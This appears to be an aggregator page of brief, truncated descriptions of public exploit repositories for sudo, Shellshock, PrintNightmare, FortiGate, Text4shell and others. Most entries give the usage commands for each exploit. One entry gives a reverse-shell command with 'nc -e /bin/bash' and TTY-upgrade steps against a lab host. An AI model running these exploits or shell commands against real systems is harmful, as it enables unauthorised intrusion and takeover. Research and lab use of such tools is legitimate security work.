Text4shell--Automated-exploit---CVE-2022-42889

Install maven - maven-linux //自动黑客入侵: 1../install.sh root@kitploit: 2../exploit.sh 3.To remove the application use ./stopapp.sh //手动黑客入侵: 1. 使用Maven安装以创建fat jar root@kitploit: mvn clean install 2. Docker构建 root@kitploit: docker build --tag=text4shell . 3. Docker运行 root@kitploit: docker run -p...

CVE-2025-24893-PoC

免责申明： 本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。 作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。 如涉及侵权，请及时与我们联系，我们将尽快处理并删除相关内容。 使用方法： python CVE-2025-24893.py URL COMMAND...

lexmark

Cosas de impresoras Lexmark Este repositorio contiene todo el trabajo relacionado con impresoras Lexmark que he publicado públicamente. La mayoría de ustedes probablemente está aquí por las utilidades de descifrado de firmware; revisen la carpeta tools. La carpeta exploit contiene un exploit 0day...

CVE-2021-3156

CVE-2021-3156 PoC 简介 这是针对 CVE-2021-3156 sudo 漏洞的漏洞利用代码（Qualys 称之为 Baron Samedit）。 用法 构建： root@kitploit: $ make 列出目标： root@kitploit: $ ./sudo-hax-me-a-sandwich 运行： root@kitploit: $ ./sudo-hax-me-a-sandwich 手动模式： root@kitploit: $ ./sudo-hax-me-a-sandwich 暴力搜索目标发现（实验性） 确保你已安装 GNU parallel。...

CVE-2023-51385_poc

CVE-2023-51385poc CVE-2023-51385poc...

CVE-2002-0288

CVE-2002-0288 Phusion WebServer 1.0 - 目录遍历（1） Exploit-db 发布在 https://www.exploit-db.com/exploits/21291/ CVE-2002-0288 Phusion WebServer 1.0 - 目录遍历（2） Exploit-db 发布在 https://www.exploit-db.com/exploits/21292/ 作者 Alex Hernandez 又名 @alt3kx...

CVE-2024-23346

CVE-2024-23346 这个 PoC 基于 William Khem-Marquez 和 Matthew Horton 的报告/发现： https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f 使用方法： python3 CVE-2024-23346.py -t targetURL -u username -p password -l localhost -P localport -X -P 和 -X 不是必须的，但可以指定。-X 用于在你的机器上存储恶意...

gadgetinspector

Gadget Inspector 该项目用于检查 Java 库和类路径中的利用链。利用链用于构建反序列化漏洞的利用程序。通过自动发现应用程序类路径中可能存在的利用链，渗透测试人员可以快速构建利用程序，应用程序安全工程师可以评估反序列化漏洞的影响并优先修复。 该项目曾在 Black Hat USA 2018 上展示。欲了解更多信息，请前往查看！（链接待定） 免责声明：该项目目前处于 alpha 阶段。需要添加测试和文档。欢迎通过添加测试或文档来提供帮助！ 构建 假设你的系统已安装 JDK，只需运行 ./gradlew shadowJar 即可。然后可以使用 java -jar...

CVE-2024-23722-poc

CVE-2024-23722-poc 使用方法 root@kitploit: python3 exploit.py http://127.0.0.1:8888 port is currently not open port is currently not open port is currently not open port is currently not open Server might have crashed port is currently not open port is currently not open port is currently not open...

fusee-gelee

fusee-gelee Fusée Gelée 漏洞利用（CVE-2018-6242）的 Rust 实现，针对 Tegra 处理器。 当前支持的平台： 通过 libusb 的 Linux。 使用说明 1. 获取漏洞利用加载程序的可执行版本。 2. 获取适用于目标设备的有效载荷。 3. 执行加载程序，并提供有效载荷的路径： root@kitploit: ./fusee-gelee /path/to/fusee-primary.bin 从源码构建 创建调试构建： root@kitploit: git clone...

CVE-2021-31630

CVE-2021-31630 修改了Fellipe Oliveira为HTB编写的PoC CVE-2021-31630脚本 用法 '示例用法: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'...

CVE-2018-10933

CVE-2018-10933 sshlib 用户认证攻击 - docker 实验室、测试与利用...

CVE-2022-45460

CVE-2022-45460 的概念验证 详细的分析报告可在此处获取。...

CVE-2018-15982

CVE-2018-15982 Flash 2018-15982 UAF p0c.swf 漏洞利用文件 阿拉伯语分析文章： http://xredteam.com/?p=253 https://twitter.com/syfi2k https://www.youtube.com/watch?v=UBc9R4QqJyc&feature=youtu.be...

CVE-2025-24893

Reverse shell para CVE-2025-24893 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" mejorar la shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2019-11395

https://www.exploit-db.com/exploits/47554 这是对原有Python2版本代码进行修改，使其符合Python3格式的版本。 Bad Character请同样使用，Payload请根据各自环境，通过msfvenom生成即可！...

CVE-2014-6271

CVE-2014-6271 - Shellshock.py Shellshock 漏洞利用，又名 CVE-2014-6271。 已在 Bash 3.2 和 Bash 4.2 上测试。 有关该漏洞的更多信息，请访问：https://nvd.nist.gov/vuln/detail/CVE-2014-6271 说明 该漏洞利用主要在 Hack The Box 的以下靶机上进行了测试： Beep 靶机：https://app.hackthebox.eu/machines/Beep Shocker 靶机：https://app.hackthebox.eu/machines/Shocker...

SharpPN

C PrintNightmare CVE-2021-1675 使用SharpPN需要一个DLL。准备好DLL后，只需编译并在命令行参数中指定DLL路径。 编译 你可以通过 C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe -out:SharpPN.exe C:\Path\to\Program.cs 自行编译，或使用Visual Studio打开.sln文件并在此编译。 用法 .\SharpPN.exe -DLL C:\path\to\your\dll 参考 Caleb Stewart 和 John Hammond 的 PowerShell...

CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

🔐 ReactRCE-Scanner CVE-2025-55182 — Framework avanzado de explotación y evaluación de RCE en React Server Components...

gotigate

gotigate 利用 CVE-2022-40684 安装 root@kitploit: ▶ go install github.com/gustavorobertux/gotigate@latest 基本用法 root@kitploit: ▶ gotigate TARGET IP or youraddress.com "height":1, "interface":"", "csf-device":"", "table-visualization":"", "device-list-online":"", "device-list-telemetry":"",...